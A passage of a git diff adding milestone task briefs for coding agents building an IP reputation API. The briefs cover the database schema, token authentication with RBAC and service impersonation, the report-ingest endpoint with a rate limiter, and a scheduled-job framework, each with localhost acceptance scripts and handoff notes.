+- No auth logic, no token model behavior, no RBAC. Migrations create the tables; population and behavior come in M03/M04.
+- No HTTP routes beyond what M01 already created.
+- No reputation calculation logic; `ip_scores` table exists but no service writes to it yet.
+- No GeoIP integration; `ip_enrichment` table exists but no enrichment service.
+- No ui changes whatsoever. UI is untouched in this milestone.
+- Do **not** add helpers, services, or domain classes outside `src/Domain/Ip/` and `src/Infrastructure/Db/`.
+
+## Acceptance
+
+```bash
+# Lint and unit tests
+cd api && composer cs && composer stan && composer test && cd ..
+
+# Migrations against SQLite (in-memory)
+cd api && DB_DRIVER=sqlite DB_SQLITE_PATH=:memory: ./bin/console db:migrate && cd ..
+
+# Migrations against ephemeral MySQL via docker
+docker run -d --rm --name irdb-mysql-test \
+  -e MYSQL_ROOT_PASSWORD=root \
+  -e MYSQL_DATABASE=irdb \
+  -p 33306:3306 \
+  mysql:8 --default-authentication-plugin=mysql_native_password
+# wait for mysql ready
+for i in {1..60}; do docker exec irdb-mysql-test mysqladmin -uroot -proot ping >/dev/null 2>&1 && break; sleep 1; done
+cd api && DB_DRIVER=mysql DB_MYSQL_HOST=127.0.0.1 DB_MYSQL_PORT=33306 \
+  DB_MYSQL_DATABASE=irdb DB_MYSQL_USERNAME=root DB_MYSQL_PASSWORD=root \
+  ./bin/console db:migrate && \
+  ./bin/console db:seed && cd ..
+docker stop irdb-mysql-test
+
+# Verify seed counts (rerun against a fresh sqlite file to avoid the in-memory db disappearing)
+rm -f /tmp/irdb-test.sqlite
+cd api && DB_DRIVER=sqlite DB_SQLITE_PATH=/tmp/irdb-test.sqlite ./bin/console db:migrate && \
+  DB_DRIVER=sqlite DB_SQLITE_PATH=/tmp/irdb-test.sqlite ./bin/console db:seed && cd ..
+sqlite3 /tmp/irdb-test.sqlite "SELECT COUNT(*) FROM categories;" | grep -q '^5$'
+sqlite3 /tmp/irdb-test.sqlite "SELECT COUNT(*) FROM policies;"   | grep -q '^3$'
+sqlite3 /tmp/irdb-test.sqlite "SELECT COUNT(*) FROM policy_category_thresholds;" | grep -q '^15$'
+
+# Idempotent re-seed produces no errors and same counts
+cd api && DB_DRIVER=sqlite DB_SQLITE_PATH=/tmp/irdb-test.sqlite ./bin/console db:seed && cd ..
+sqlite3 /tmp/irdb-test.sqlite "SELECT COUNT(*) FROM categories;" | grep -q '^5$'
+
+# Coverage check on Ip domain
+cd api && vendor/bin/phpunit --coverage-text --filter Ip tests/Unit/Ip 2>&1 | grep -E "Domain.Ip" | awk '{print $NF}' | grep -E "9[5-9]\.|100\.00"
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M02): database schema, migrations, seeds, IP/CIDR helpers
+
+   - phinx migrations for all SPEC §4 tables (sqlite + mysql)
+   - default seeds: 5 categories, 3 policies (strict/moderate/paranoid)
+   - IpAddress and Cidr value objects with ≥95% coverage
+   - DBAL connection factory with SQLite WAL pragmas
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M02 — Database & migrations (done)
+
+   **Built:** all SPEC §4 tables; idempotent seeds; IP/CIDR value objects.
+
+   **Schema notes for next milestone:**
+   - `users.password_hash` is NOT in the schema (per SPEC §4; UI owns local-admin credentials).
+   - `api_tokens.kind` enum values: `reporter`, `consumer`, `admin`, `service` (constraint enforced).
+   - All timestamps stored UTC. ISO 8601 strings on SQLite, DATETIME(6) on MySQL.
+   - `ip_bin` always 16 bytes; v4 mapped to `::ffff:0:0/96`. Use `IpAddress::fromString()` for normalization.
+
+   **Decisions made:**
+   - [Document any FK ON DELETE choices the agent had to make.]
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none beyond SPEC §2.
+   ```
+
+3. **Stop.** Do not start M03.

+ 232 - 0
doc/development/files/M03-api-auth-foundations.md

@@ -0,0 +1,232 @@
+# M03 — API Auth Foundations
+
+> Fresh Claude Code agent prompt. M02 must be complete and committed.
+> Estimated effort: large. This milestone is auth-critical; spend time on tests.
+
+## Mission
+
+Implement the api's authentication and authorization foundations: token kinds (`reporter`, `consumer`, `admin`, `service`), token resolution, RBAC middleware, the impersonation header pattern for the UI BFF, and the auth endpoints (`/api/v1/auth/users/upsert-oidc`, `/api/v1/auth/users/upsert-local`, `/api/v1/admin/me`). Bootstrap the service token on startup. **No business endpoints yet** — only the auth machinery.
+
+## Before you start
+
+1. Verify M02 acceptance:
+   ```bash
+   git log --oneline -2     # M01, M02 commits
+   cd api && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §6 (API Contracts — Authentication tokens, Auth API), §7 only the "Identity resolution flow" and RBAC matrix, §8 (Authentication & Authorization, the api-side parts), §14 (Coding Conventions).
+3. Pay particular attention in SPEC §8 to **where each auth concern lives**: the api owns token validation, the `users` table, RBAC. The ui owns OIDC redirects, sessions, password validation. This milestone is api-only.
+
+## Tasks
+
+### 1. Token domain
+
+In `api/src/Domain/Auth/`:
+
+- `TokenKind.php` — enum: `Reporter`, `Consumer`, `Admin`, `Service`.
+- `Role.php` — enum: `Viewer`, `Operator`, `Admin`. Method `satisfies(Role $required): bool`.
+- `Token.php` — value object representing a parsed token (`kind`, `prefix`, `id` after lookup, `subject` (reporter/consumer/admin user id), `role` for admin tokens).
+- `TokenIssuer.php` — generates tokens. Format: `irdb_<kind3>_<32 base32 chars>` where `kind3` is `rep|con|adm|svc`. Uses `random_bytes(20)` (160 bits) → base32. Returns the raw token string.
+- `TokenHasher.php` — `hash(string $raw): string` using SHA-256 hex. Pure function, easy to test.
+
+In `api/src/Infrastructure/Auth/`:
+
+- `TokenRepository.php` — `findByHash(string $hash): ?TokenRecord`, `create(TokenRecord)`, `markUsed(int $id, DateTimeImmutable)`. `TokenRecord` carries: id, kind, hash, prefix, reporter_id, consumer_id, role (for admin kind), expires_at, revoked_at, last_used_at. Apply `WHERE revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now)` in lookups.
+
+### 2. User identity domain
+
+In `api/src/Domain/User/`:
+
+- `User.php` — value object: `id`, `subject` (OIDC sub, nullable), `email`, `displayName`, `role: Role`, `isLocal: bool`.
+
+In `api/src/Infrastructure/Auth/`:
+
+- `UserRepository.php` — methods:
+  - `findById(int): ?User`
+  - `findBySubject(string): ?User` (OIDC sub)
+  - `findLocalByUsername(string): ?User`
+  - `upsertOidc(string $sub, string $email, string $displayName, array $groupIds, Role $defaultRole): User` — looks up by sub; if not found, derives role from `oidc_role_mappings` (highest role granted by any matching group; default if none); inserts. If found, updates email/display_name and recomputes role from current group memberships.
+  - `upsertLocal(string $username): User` — finds-or-inserts the local admin record with `is_local=true`, `role=Admin`. Always returns role Admin.
+- `RoleMappingRepository.php` — `resolveRole(array $groupIds, Role $default): Role`.
+
+### 3. Middlewares
+
+In `api/src/Infrastructure/Http/Middleware/`:
+
+- `TokenAuthenticationMiddleware.php` — extracts `Authorization: Bearer ...`, parses the kind prefix, looks up by hash, attaches a resolved `AuthenticatedPrincipal` to the request attributes. On failure: `401`. Updates `last_used_at` async (write-behind is fine; for now, synchronous update is acceptable).
+- `ImpersonationMiddleware.php` — runs after `TokenAuthenticationMiddleware`. If the principal's token kind is `Service`:
+  - require `X-Acting-User-Id` header; missing → `400 Bad Request` with `{"error":"missing X-Acting-User-Id"}`.
+  - look up the user; not found → `403`.
+  - replace the principal with one carrying that user's id and role.
+  - For non-service tokens, `X-Acting-User-Id` is ignored (do not 400).
+- `RbacMiddleware.php` — route-attached middleware factory: `RbacMiddleware::require(Role::Operator)` returns a middleware that 403s if the principal doesn't have the role.
+- Extra: `JsonErrorHandler.php` — converts thrown exceptions to JSON error responses (`{"error":"...","details":...}`). Wire it as Slim's error handler.
+
+`AuthenticatedPrincipal` (in `api/src/Domain/Auth/`):
+```php
+final class AuthenticatedPrincipal {
+    public function __construct(
+        public readonly TokenKind $tokenKind,
+        public readonly ?int $userId,           // present when service-impersonating or admin-token bound to user
+        public readonly ?Role $role,            // null for reporter/consumer
+        public readonly ?int $reporterId,
+        public readonly ?int $consumerId,
+        public readonly int $tokenId,
+    ) {}
+}
+```
+
+### 4. Service token bootstrap
+
+In `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php`:
+
+- Run on api container startup (call from `entrypoint.sh` via a `bin/console auth:bootstrap-service-token` command, or run inline at app boot before HTTP serving).
+- Reads `UI_SERVICE_TOKEN` env var. If empty: log a warning, skip.
+- If set: hash it, look up in `api_tokens`. If absent, insert a row with `kind=service`, hash, prefix (first 8 chars of raw), no FKs, no expiry. If present and hash matches an existing service-kind row, do nothing. If a different service-kind row exists, log a warning (rotation case) but do not auto-revoke — operator must clean up.
+
+Update `api/docker/entrypoint.sh` so the `api` mode runs `bin/console auth:bootstrap-service-token` before launching FrankenPHP.
+
+### 5. Routes
+
+In `api/src/Application/`:
+
+- `Auth/AuthController.php`:
+  - `POST /api/v1/auth/users/upsert-oidc` — service token only. Body `{subject, email, display_name, groups: []}`. Returns `{user_id, role, email, display_name, is_local: false}`.
+  - `POST /api/v1/auth/users/upsert-local` — service token only. Body `{username}`. Returns local admin user record.
+  - `GET  /api/v1/auth/users/{id}` — service token only. Returns user, 404 otherwise.
+- `Admin/MeController.php`:
+  - `GET /api/v1/admin/me` — admin token OR service+impersonation. Returns `{user_id, email, display_name, role, source: "oidc"|"local"|"admin-token"}`.
+
+Wire routes with the appropriate middleware stack: `TokenAuthenticationMiddleware` → `ImpersonationMiddleware` → `RbacMiddleware::require(...)`.
+
+### 6. CLI
+
+Extend `api/bin/console`:
+- `auth:bootstrap-service-token` (described above).
+- `auth:create-token --kind=admin --role=admin` — creates an admin token (used in dev/manual ops). Outputs the raw token to stdout exactly once. Refuse to create `service` kind via this command.
+
+### 7. Configuration
+
+Add to `api/config/settings.php`:
+- `UI_SERVICE_TOKEN` (required when `OIDC_DEFAULT_ROLE` ≠ `none` and the UI is in use; default behavior: warn if empty).
+- `UI_ORIGIN` for CORS (read but no enforcement yet — CORS middleware is a stretch task here; if you add it, be conservative).
+
+## Implementation notes
+
+- **Token format and lookup**: `irdb_<kind3>_<base32>` is parsed before DB lookup so a malformed token returns 401 without a DB hit. Hash the entire raw string (including prefix) for storage; the prefix is also stored separately for log readability.
+- **Constant-time comparison**: `hash_equals()` when comparing token hashes if you ever do an inline compare. For lookup-by-hash, the DB index is fine.
+- **Don't leak which token kind was wrong**. On any mismatch (bad kind for the route, expired, revoked), return a uniform 401 with body `{"error":"unauthorized"}`. Reserve 403 for "authenticated, wrong role."
+- **Service token rotation**: out of scope this milestone. The bootstrap just handles "set or not set." Document that rotating means: deploy with new value, restart api, manually revoke old hash via a future tool.
+- **`X-Acting-User-Id` header**: validate format (positive integer). Reject malformed with 400.
+- **Audit log**: not yet wired. Audit emitter lands in M12. Don't half-build it now.
+- **Tests**: this milestone lives or dies by test coverage. Aim for an integration test per cell of this matrix:
+
+| Token kind   | Has X-Acting-User-Id? | User exists? | Endpoint requires role | Expected outcome                |
+|--------------|-----------------------|--------------|------------------------|---------------------------------|
+| no token     | -                     | -            | viewer                 | 401                             |
+| bad token    | -                     | -            | viewer                 | 401                             |
+| reporter     | -                     | -            | viewer                 | 401 (wrong kind for admin route)|
+| admin/viewer | -                     | -            | viewer                 | 200                             |
+| admin/viewer | -                     | -            | operator               | 403                             |
+| admin/admin  | -                     | -            | admin                  | 200                             |
+| service      | no                    | -            | viewer                 | 400                             |
+| service      | yes                   | no           | viewer                 | 403                             |
+| service      | yes (viewer user)     | yes          | viewer                 | 200                             |
+| service      | yes (viewer user)     | yes          | operator               | 403                             |
+| service      | yes (admin user)      | yes          | admin                  | 200                             |
+
+## Out of scope (DO NOT)
+
+- No reporter/consumer endpoints (`/api/v1/report`, `/api/v1/blocklist`). M04.
+- No internal job endpoints. M05.
+- No rate limiting. M04.
+- No OIDC validation (the api doesn't validate OIDC tokens; the ui does, then calls `upsert-oidc`).
+- No password validation. The api never sees passwords.
+- No CORS enforcement (OK to add headers but don't gate on them yet).
+- No ui changes.
+- No audit log emission.
+- No new dependencies.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+
+# Service token bootstrap
+docker compose down -v
+cp .env.example .env
+# Fill in: UI_SERVICE_TOKEN=<32 hex>, INTERNAL_JOB_TOKEN=<32 hex>, etc.
+docker compose up -d
+sleep 15
+# Verify the token row exists
+docker compose exec -T api sqlite3 /data/irdb.sqlite \
+  "SELECT kind FROM api_tokens WHERE kind='service';" | grep -q "service"
+
+# /api/v1/admin/me with bad auth
+test "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8081/api/v1/admin/me)" = "401"
+
+# /api/v1/admin/me with admin token (created via CLI)
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+RESP=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" http://localhost:8081/api/v1/admin/me)
+echo "$RESP" | grep -q '"role":"admin"'
+echo "$RESP" | grep -q '"source":"admin-token"'
+
+# Upsert local user via service token (simulating the ui)
+SVC_TOKEN=$(grep ^UI_SERVICE_TOKEN= .env | cut -d= -f2)
+RESP=$(curl -s -X POST \
+  -H "Authorization: Bearer $SVC_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{"username":"admin"}' \
+  http://localhost:8081/api/v1/auth/users/upsert-local)
+USER_ID=$(echo "$RESP" | php -r 'echo json_decode(stream_get_contents(STDIN), true)["user_id"];')
+[ -n "$USER_ID" ]
+
+# Service + impersonation: fetches /admin/me as that user
+RESP=$(curl -s -H "Authorization: Bearer $SVC_TOKEN" -H "X-Acting-User-Id: $USER_ID" \
+  http://localhost:8081/api/v1/admin/me)
+echo "$RESP" | grep -q '"is_local":true'
+echo "$RESP" | grep -q '"role":"admin"'
+
+# Service without impersonation header → 400
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -H "Authorization: Bearer $SVC_TOKEN" \
+  http://localhost:8081/api/v1/admin/me)" = "400"
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M03): api auth foundations — tokens, RBAC, BFF impersonation
+
+   - token kinds: reporter | consumer | admin | service (irdb_<kind>_<32b32> format)
+   - TokenAuthenticationMiddleware + ImpersonationMiddleware + RbacMiddleware
+   - /api/v1/auth/users/upsert-{oidc,local}, /api/v1/admin/me
+   - service token bootstrap on container startup
+   - integration tests cover the full auth matrix
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M03 — API auth foundations (done)
+
+   **Built:** token kinds, hashing, RBAC, impersonation pattern, auth endpoints, service token bootstrap.
+
+   **API contract decisions:**
+   - 401 = bad/expired/revoked/wrong-kind token (uniform body)
+   - 403 = authenticated but wrong role
+   - 400 = service token without X-Acting-User-Id header
+   - last_used_at updated synchronously (move to async in M14 if perf demands)
+
+   **Notes for next milestone:**
+   - Reporter and consumer tokens have no role column; their auth carries reporter_id / consumer_id only.
+   - M04's report endpoint reads `principal->reporterId` from request attrs.
+   - Admin endpoints in later milestones can use `RbacMiddleware::require(Role::Operator)` etc.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M04.

+ 211 - 0
doc/development/files/M04-token-system-and-ingest.md

@@ -0,0 +1,211 @@
+# M04 — Token Management & Ingest API
+
+> Fresh Claude Code agent prompt. M03 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Implement reporter and consumer CRUD plus token issuance via admin endpoints, the public `POST /api/v1/report` endpoint with synchronous `ip_scores` updates, and a per-token rate limiter. After this milestone, machine clients can report IPs and rate limits actually bite.
+
+## Before you start
+
+1. Verify M03:
+   ```bash
+   git log --oneline -3
+   cd api && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §4 (`reporters`, `consumers`, `api_tokens`, `reports`, `ip_scores` tables), §5 (Reputation Engine — scoring formula; you'll write the synchronous-update piece, but the bulk recompute is M05), §6 (API Contracts — Public API and the relevant Admin endpoints).
+3. Confirm clean tree.
+
+## Tasks
+
+### 1. Reporter & Consumer admin CRUD
+
+In `api/src/Application/Admin/`:
+
+- `ReportersController.php`:
+  - `GET    /api/v1/admin/reporters` — list, paginated.
+  - `GET    /api/v1/admin/reporters/{id}` — detail.
+  - `POST   /api/v1/admin/reporters` — `{name, description, trust_weight}`. Returns the created record.
+  - `PATCH  /api/v1/admin/reporters/{id}` — partial update.
+  - `DELETE /api/v1/admin/reporters/{id}` — soft delete (set `is_active=false`). Hard delete refused if reports exist (409).
+- `ConsumersController.php` — analogous, with `policy_id` instead of `trust_weight`. (Policy CRUD is M07; for now the FK is required and the UI will pass an existing policy id; in tests, you may seed a policy directly.)
+
+RBAC: all reporter/consumer endpoints require `Admin` role.
+
+### 2. Token issuance & management
+
+In `api/src/Application/Admin/`:
+
+- `TokensController.php`:
+  - `GET    /api/v1/admin/tokens` — list. **Never** include `service`-kind tokens. Return prefix and metadata; never the raw token (it's not stored).
+  - `POST   /api/v1/admin/tokens` — body `{kind: "reporter"|"consumer"|"admin", reporter_id?, consumer_id?, role?, expires_at?}`. Validate constraints:
+    - `kind=reporter` → `reporter_id` required, no `role`, no `consumer_id`.
+    - `kind=consumer` → `consumer_id` required, no `role`, no `reporter_id`.
+    - `kind=admin` → `role` required, no FKs.
+    - `kind=service` → 400 always (service tokens cannot be created via API).
+  - Returns `{id, kind, prefix, raw_token, ...}` — `raw_token` appears **only in this response**; document this in OpenAPI later.
+  - `DELETE /api/v1/admin/tokens/{id}` — sets `revoked_at = now()`. Refuse on service tokens.
+
+RBAC: `Admin` role. Audit emission deferred to M12.
+
+### 3. Public ingest: `POST /api/v1/report`
+
+In `api/src/Application/Public/ReportController.php`:
+
+- Auth: `TokenKind::Reporter` only. Reject all other kinds with 401 (wrong kind = generic unauthorized per M03 convention).
+- Body validation: `ip` (parse via `IpAddress::fromString`, 400 on failure), `category` (slug; lookup by `categories.slug`, 400 if unknown or `is_active=false`), `metadata` (optional, must be a JSON object ≤4 KB after re-encoding).
+- Insert a row into `reports`:
+  - `weight_at_report` = current `trust_weight` of the reporter (snapshot).
+  - `received_at` = current UTC time via injected `Clock`.
+- Update `ip_scores` for the affected `(ip_bin, category_id)` pair **synchronously**:
+  - Compute the new score by re-running the formula (Σ weight × decay over reports for this ip+category, hard cutoff 365 days). The bulk recompute service lands in M05 — but for the synchronous-on-ingest path you need a small helper now. Place it at `api/src/Domain/Reputation/PairScorer.php` so M05 can build on it.
+  - `UPSERT` the score row.
+- Return `202` with `{report_id, ip, received_at}`.
+
+### 4. Rate limiter
+
+In `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php`:
+
+- Token-bucket per token id. In-process state (PHP array attached to a singleton service); good enough for single-replica deployments and dev.
+- Bucket: capacity = `API_RATE_LIMIT_PER_SECOND` × 2, refill rate = `API_RATE_LIMIT_PER_SECOND` per second. Configurable.
+- On exhaustion: return `429` with `Retry-After: 1` (seconds, integer).
+- Apply to public endpoints (`/api/v1/report`, future `/api/v1/blocklist`). Skip for admin endpoints (admins are humans/UI; not a DDoS vector).
+- Tests: 60 requests in <1s with limit=60 → all 200/202; 120 in <1s → some 429s.
+
+Note for self: in-process means each replica has its own bucket. Document this in PROGRESS.md as a known limitation; multi-replica rate limiting needs a shared store and is out of scope.
+
+### 5. Validation framework
+
+You'll need consistent request validation across this and future milestones. Two acceptable approaches:
+
+- **Hand-rolled** in each controller (acceptable for this scale).
+- **Lightweight library** like `respect/validation` (allowed; document in PROGRESS.md if added).
+
+Either way, validation errors must produce a uniform response:
+```json
+{"error":"validation_failed","details":{"field":"reason"}}
+```
+HTTP status `400` for malformed; `422` is also acceptable but be consistent.
+
+## Implementation notes
+
+- **PairScorer** signature: `score(string $ipBin, int $categoryId, DateTimeImmutable $now): float`. Reads from `reports`, applies category-specific decay (linear or exponential per `categories.decay_function` and `decay_param`). Hard cutoff at `SCORE_REPORT_HARD_CUTOFF_DAYS` (default 365). Returns the float score.
+- **Decay functions**: defined in SPEC §5. Linear: `max(0, 1 - age_days/decay_param)`. Exponential: `0.5 ^ (age_days/decay_param)`. Implement them in `api/src/Domain/Reputation/Decay.php` as pure functions with unit tests.
+- **`ip_scores` upsert**: use the DBAL adapter's UPSERT-equivalent. SQLite: `INSERT ... ON CONFLICT(ip_bin, category_id) DO UPDATE`. MySQL: `INSERT ... ON DUPLICATE KEY UPDATE`. Wrap in `RepositoryBase`.
+- **Report metadata size**: enforce ≤4 KB after `json_encode` of the parsed object. Reject larger with 400.
+- **IPv6 metadata**: just store the metadata as JSON — no special handling.
+- **Rate limit in tests**: inject the limiter so tests can either bypass it or fast-forward time via the `Clock`. Use a `ClockInterface` (you already created it for `received_at`).
+- **Reports are append-only**: never UPDATE or DELETE rows in `reports`. The ingest endpoint just inserts.
+
+## Out of scope (DO NOT)
+
+- Bulk recompute / decay of all stored scores. M05.
+- Internal job endpoints. M05.
+- Allowlist / manual blocks. M06.
+- Distribution endpoint (`/api/v1/blocklist`). M07.
+- Audit log emission. M12.
+- Any UI changes.
+- GeoIP / enrichment. M11.
+- New dependencies beyond what's already in api/composer.json (one optional: `respect/validation` if you go that route — record in PROGRESS.md).
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+
+docker compose down -v
+cp .env.example .env  # fill secrets if not already done
+docker compose up -d
+sleep 15
+
+# Create a reporter and a token
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+
+REPORTER=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"name":"web-prod-01","description":"prod webserver","trust_weight":1.0}' \
+  http://localhost:8081/api/v1/admin/reporters)
+REPORTER_ID=$(echo "$REPORTER" | php -r 'echo json_decode(stream_get_contents(STDIN), true)["id"];')
+
+TOKEN_RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"kind\":\"reporter\",\"reporter_id\":$REPORTER_ID}" \
+  http://localhost:8081/api/v1/admin/tokens)
+RAW_TOKEN=$(echo "$TOKEN_RESP" | php -r 'echo json_decode(stream_get_contents(STDIN), true)["raw_token"];')
+[ -n "$RAW_TOKEN" ]
+
+# Submit a report
+RESP=$(curl -s -X POST -H "Authorization: Bearer $RAW_TOKEN" -H "Content-Type: application/json" \
+  -d '{"ip":"203.0.113.42","category":"brute_force","metadata":{"url":"/wp-login"}}' \
+  http://localhost:8081/api/v1/report)
+echo "$RESP" | grep -q '"report_id"'
+echo "$RESP" | grep -q '"received_at"'
+
+# ip_scores updated synchronously
+docker compose exec -T api sqlite3 /data/irdb.sqlite \
+  "SELECT ROUND(score, 4) FROM ip_scores WHERE ip_text='203.0.113.42';" | grep -q '^[0-9]'
+
+# Wrong-kind token rejected (admin token can't report)
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"ip":"1.2.3.4","category":"spam"}' \
+  http://localhost:8081/api/v1/report)" = "401"
+
+# Bad IP rejected
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X POST -H "Authorization: Bearer $RAW_TOKEN" -H "Content-Type: application/json" \
+  -d '{"ip":"not-an-ip","category":"spam"}' \
+  http://localhost:8081/api/v1/report)" = "400"
+
+# Unknown category rejected
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X POST -H "Authorization: Bearer $RAW_TOKEN" -H "Content-Type: application/json" \
+  -d '{"ip":"1.2.3.4","category":"nonexistent"}' \
+  http://localhost:8081/api/v1/report)" = "400"
+
+# Rate limit kicks in (with low API_RATE_LIMIT_PER_SECOND)
+docker compose down
+echo "API_RATE_LIMIT_PER_SECOND=2" >> .env
+docker compose up -d
+sleep 10
+HITS_429=0
+for i in $(seq 1 20); do
+  CODE=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
+    -H "Authorization: Bearer $RAW_TOKEN" -H "Content-Type: application/json" \
+    -d '{"ip":"1.2.3.4","category":"spam"}' \
+    http://localhost:8081/api/v1/report)
+  [ "$CODE" = "429" ] && HITS_429=$((HITS_429+1))
+done
+[ "$HITS_429" -gt 0 ]
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M04): reporter/consumer CRUD, token issuance, ingest API, rate limiter
+
+   - admin endpoints for reporters, consumers, tokens (raw token shown once)
+   - POST /api/v1/report with synchronous ip_scores update via PairScorer
+   - decay functions (linear + exponential) with unit tests
+   - per-token in-process rate limiter on public endpoints
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M04 — Token system & ingest (done)
+
+   **Built:** reporter/consumer/token CRUD; POST /api/v1/report end-to-end; rate limiter; decay functions.
+
+   **Notes for next milestone:**
+   - Synchronous score updates are correct but only touch the (ip, category) pair just reported. Bulk decay re-application is M05's recompute job.
+   - PairScorer is the authoritative single-pair scorer; the bulk recompute job in M05 should call into it (or a near-clone) so behavior stays consistent.
+   - Rate limiter is in-process; document this in README. Multi-replica deployments need a shared store.
+   - Service tokens cannot be created via the admin API; only the bootstrap path makes them.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** [list any, e.g. respect/validation, or "none"].
+   ```
+
+3. **Stop.** Do not start M05.

+ 213 - 0
doc/development/files/M05-reputation-engine-and-jobs.md

@@ -0,0 +1,213 @@
+# M05 — Reputation Engine & Internal Job Endpoints
+
+> Fresh Claude Code agent prompt. M04 must be complete and committed.
+> Estimated effort: large.
+
+## Mission
+
+Build the reputation engine (full bulk recompute with decay reapplication) and the internal job framework: locks, run history, runner abstraction, the `/internal/jobs/*` endpoints, network and token middlewares, the `tick` dispatcher, and a CLI runner. Three job types are wired: `recompute-scores`, `cleanup-audit`, `enrich-pending` (skeleton — full enrichment is M11).
+
+## Before you start
+
+1. Verify M04:
+   ```bash
+   git log --oneline -4
+   cd api && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §4 (`job_locks`, `job_runs`), §5 (Reputation Engine — recomputation rules), §6 (Internal Jobs API — endpoints, middlewares, response envelope), §10 (where the scheduler comes in).
+3. Confirm clean tree.
+
+## Tasks
+
+### 1. Clock & decay (extend M04)
+
+You already have `Decay.php` (linear + exponential) and `PairScorer.php` from M04. Verify they handle hard cutoff (365 days default) correctly. Add tests for:
+
+- An age beyond cutoff → decay returns 0.
+- Linear with `decay_param=30`, age=0 → 1.0; age=15 → 0.5; age=30 → 0.0.
+- Exponential with `decay_param=14` (half-life), age=14 → 0.5; age=28 → 0.25.
+
+### 2. Job framework
+
+In `api/src/Infrastructure/Jobs/`:
+
+- `Job.php` — interface: `name(): string`, `defaultIntervalSeconds(): int`, `maxRuntimeSeconds(): int`, `run(JobContext $ctx): JobResult`.
+- `JobContext.php` — carries the `Clock`, a logger, and any per-invocation params (`$ctx->param('full', false)`).
+- `JobResult.php` — `itemsProcessed: int`, `details: array`.
+- `JobLockRepository.php`:
+  - `tryAcquire(string $name, int $maxRuntimeSeconds, string $owner): bool` — atomic. Implementation:
+    1. Begin transaction.
+    2. Delete rows where `expires_at < now`.
+    3. `INSERT INTO job_locks (job_name, acquired_at, acquired_by, expires_at) VALUES (...)` — fails on PK conflict if held.
+    4. Commit. Return success/failure.
+  - `release(string $name, string $owner)` — `DELETE WHERE job_name = ? AND acquired_by = ?`.
+- `JobRunRepository.php` — append rows, query latest per job, query overdue.
+- `JobRunner.php`:
+  - `run(Job $job, array $params, string $triggeredBy): JobOutcome` — orchestrates: try-acquire → write `running` row → run → on success/failure write final row → release lock. Always writes a final row even on `skipped_locked`.
+  - Generates a unique `owner` per invocation (e.g. `getmypid() . '/' . random_bytes(4) hex`).
+- `JobRegistry.php` — registers job classes by name; resolves by name.
+
+### 3. Concrete jobs
+
+In `api/src/Application/Jobs/` (or `api/src/Infrastructure/Jobs/Tasks/` — pick one and stay consistent):
+
+- `RecomputeScoresJob.php`:
+  - Default interval: 300s. Max runtime: 240s.
+  - Runs in two modes: full (`full=true`) and incremental (default).
+  - Incremental: pairs `(ip_bin, category_id)` from `reports` with `received_at >= now - interval` UNION pairs from `ip_scores` where `recomputed_at < now - freshness_window` (default 1 hour). Cap at `JOB_RECOMPUTE_MAX_ROWS_PER_TICK`.
+  - Full: every pair in `ip_scores` plus every pair in `reports`. No cap (but bounded by `maxRuntimeSeconds`).
+  - For each pair: call `PairScorer::score()`, upsert `ip_scores`. Drop rows where score < 0.01 AND `last_report_at < now - 90 days`.
+- `CleanupAuditJob.php`:
+  - Default interval: 86400s (daily). Max runtime: 60s.
+  - Deletes `audit_log` rows older than `JOB_AUDIT_RETENTION_DAYS`. Audit table exists from M02 even though emitter doesn't yet — that's fine.
+- `EnrichPendingJob.php`:
+  - Skeleton only. Default interval: 300s. Max runtime: 60s. For now: no-op that returns `items_processed: 0` and logs a debug line. Full implementation in M11.
+
+### 4. Tick dispatcher
+
+`TickJob.php` (or `TickDispatcher.php` — kept in same dir):
+- Iterates the registry. For each job, reads the latest `job_runs` entry for that name. If `now - last_finished_at >= job.defaultInterval` (or no row exists), invokes `JobRunner::run()` for that job. Per-job exceptions are caught and recorded but don't abort the dispatcher.
+- Itself recorded in `job_runs` as `tick`. Default interval doesn't apply (it's invoked directly by the scheduler), but max runtime should be ~5 minutes total to avoid the cron piling up.
+
+### 5. HTTP endpoints
+
+In `api/src/Application/Internal/JobsController.php`:
+
+- `POST /internal/jobs/recompute-scores` — body `{full?: bool, max_rows?: int}`.
+- `POST /internal/jobs/cleanup-audit`
+- `POST /internal/jobs/enrich-pending`
+- `POST /internal/jobs/tick`
+- `POST /internal/jobs/refresh-geoip` — for now: returns `412 Precondition Failed` with `{"error":"not_implemented"}`. Real implementation in M11.
